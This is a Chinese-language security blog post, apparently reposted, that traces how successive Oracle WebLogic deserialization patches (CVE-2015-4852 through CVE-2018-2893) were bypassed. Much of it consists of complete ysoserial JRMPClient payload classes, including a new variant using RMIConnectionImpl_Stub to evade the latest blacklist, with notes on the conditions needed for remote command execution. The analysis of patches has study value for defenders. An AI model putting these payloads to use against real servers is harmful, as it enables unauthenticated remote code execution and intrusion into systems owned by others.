您好,登錄后才能下訂單哦!
WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件,WebLogic是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。
利用Java反序列化和 Apache Commons Collections 這一基礎類庫來×××,實現遠程代碼執行。
查看CVE-2015-4852的補丁,發現weblogic采用黑名單的形式來修復這個漏洞,這中修復方案很被動,存在被繞過風險,只要發現可用并且未在黑名單之外的反序列化類,便可造成新的反序列化×××。
weblogic反序列化的點有三個,黑名單ClassFilter.class也作用于這三個位置:
weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
使用weblogic.jms.common.StreamMessageImpl的 readExternal()繞過
原理是將反序列化的對象封裝進了weblogic.corba.utils.MarshalledObject,然后再對 MarshalledObject進行序列化,生成 payload 字節碼。反序列化時 MarshalledObject 不在 WebLogic 黑名單里,可正常反序列化,在反序列化時 MarshalledObject對象調用 readObject 時對 MarshalledObject 封裝的序列化對象再次反序列化,這樣就逃過了黑名單的檢查。
JRMP協議:Java遠程消息交換協議 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技術的、用于查找和引用遠程對象的協議。這是運行在 Java 遠程方法調用 RMI 之下、TCP/IP 之上的線路層協議。
RMI:是Remote Method Invocation的簡稱,是J2SE的一部分,
能夠讓程序員開發出基于Java的分布式應用。一個RMI對象是一個遠程Java對象,
可以從另一個Java虛擬機上(甚至跨過網絡)調用它的方法,
可以像調用本地Java對象的方法一樣調用遠程對象的方法,
使分布在不同的JVM中的對象的外表和行為都像本地對象一樣。
這個漏洞就是利用 RMI 機制的缺陷,通過 JRMP 協議達到執行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPLister,這將會序列化一個 RemoteObjectInvocationHandler,該RemoteObjectInvocationHandler使用UnicastRef建立到遠端的 TCP 連接獲取RMI registry。 此連接使用 JRMP 協議,因此客戶端將反序列化服務器響應的任何內容,從而實現未經身份驗證的遠程代碼執行。
JRMPLister代碼:
package ysoserial.payloads;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
public Registry getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}
修復方式只是在resolveProxyClass進行一個簡單的判斷,攔截java.rmi.registry.Registry接口。所以很快就有了下一個繞過。
網上公開的繞CVE-2017-3248有這幾種方法:
第一種:
修改ysoerial的JRMPClient,精簡了原來的payload,直接就是一個sun.rmi.server.UnicastRef對象。因為Proxy在這里并不是必需的,所以去掉之后對反序列化利用沒有影響。payload中沒有了proxy,weblogic反序列化的時候,resolveProxyClass根本就沒有被調用到,所以就bypass了CVE-2017-3248的patch。
package ysoserial.payloads;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
public Registry getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}
第二種:替換接口
繞過是用java.rmi.activation.Activator替換java.rmi.registry.Registry,從而繞過resolveProxyClass的判斷。其實這里對接口沒有要求,不一定是rmi接口,隨便找一個接口都行,比如java.util.Map
package ysoserial.payloads;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Activator> {
public Activator getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}
第三種:weblogic.jms.common.StreamMessageImpl
StreamMessageImpl這個點在反序列化的時候沒有resolveProxyClass檢查,從而繞過。
Oracle在2018年4月發布的補丁中修復方式是將sun.rmi.server.UnicastRef加入了黑名單中,weblogic.utils.io.oif.WebLogicFilterConfig.class:
private static final String[] DEFAULT_LIMITS = { "maxdepth=100" };
private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist" };
private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef" };
這個修復方式只對提交的bypass(Payload 1)有效,而Payload 2和3依然可以使用。分析了一下后兩個payload依然可以使用的原因: 主要是sun.rmi.server.UnicastRef經過了java.rmi.server.RemoteObjectInvocationHandler的封裝,在序列化生成payload時,修改了UnicastRef對象寫入流程。
針對前面漏洞沒有修復徹底的問題,在今年7月份的補丁中進行了如下修復:
private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" };
private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };
黑名單進行了更新:
java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject
CVE-2018-2893還是可以繼續繞的,根據前面的分析可知,我們只需要找一個類似java.rmi.server.RemoteObjectInvocationHandler的類進行替換,就能繼續繞過了。那么這個類應該滿足以下條件:
繼承遠程類:java.rmi.server.RemoteObject不在黑名單里邊(java.rmi.activation. 、sun.rmi.server.)
隨便找了一下,符合條件的挺多的:
javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub
RMIConnectionImpl_Stub 繼承至--> java.rmi.server.RemoteStub 繼承至-->java.rmi.server.RemoteObject
稍微改一下payload便能繼續利用了:
package ysoserial.payloads;
import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;
@SuppressWarnings ( {
"restriction"
} )
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
return stub;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}
RMIConnectionImpl_Stub替換RemoteObjectInvocationHandler之后,payload又能用了。
后續利用需要配合Jdk7u21來執行命令:
1、服務器沒有禁用T3、T3S協議。
2、weblogic服務器需能訪問到外網,才能發起JRMP請求。
3、服務器使用低版本jdk
參考鏈接:
https://xz.aliyun.com/t/2479
https://paper.seebug.org/584/
http://drops.the404.me/637.html
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。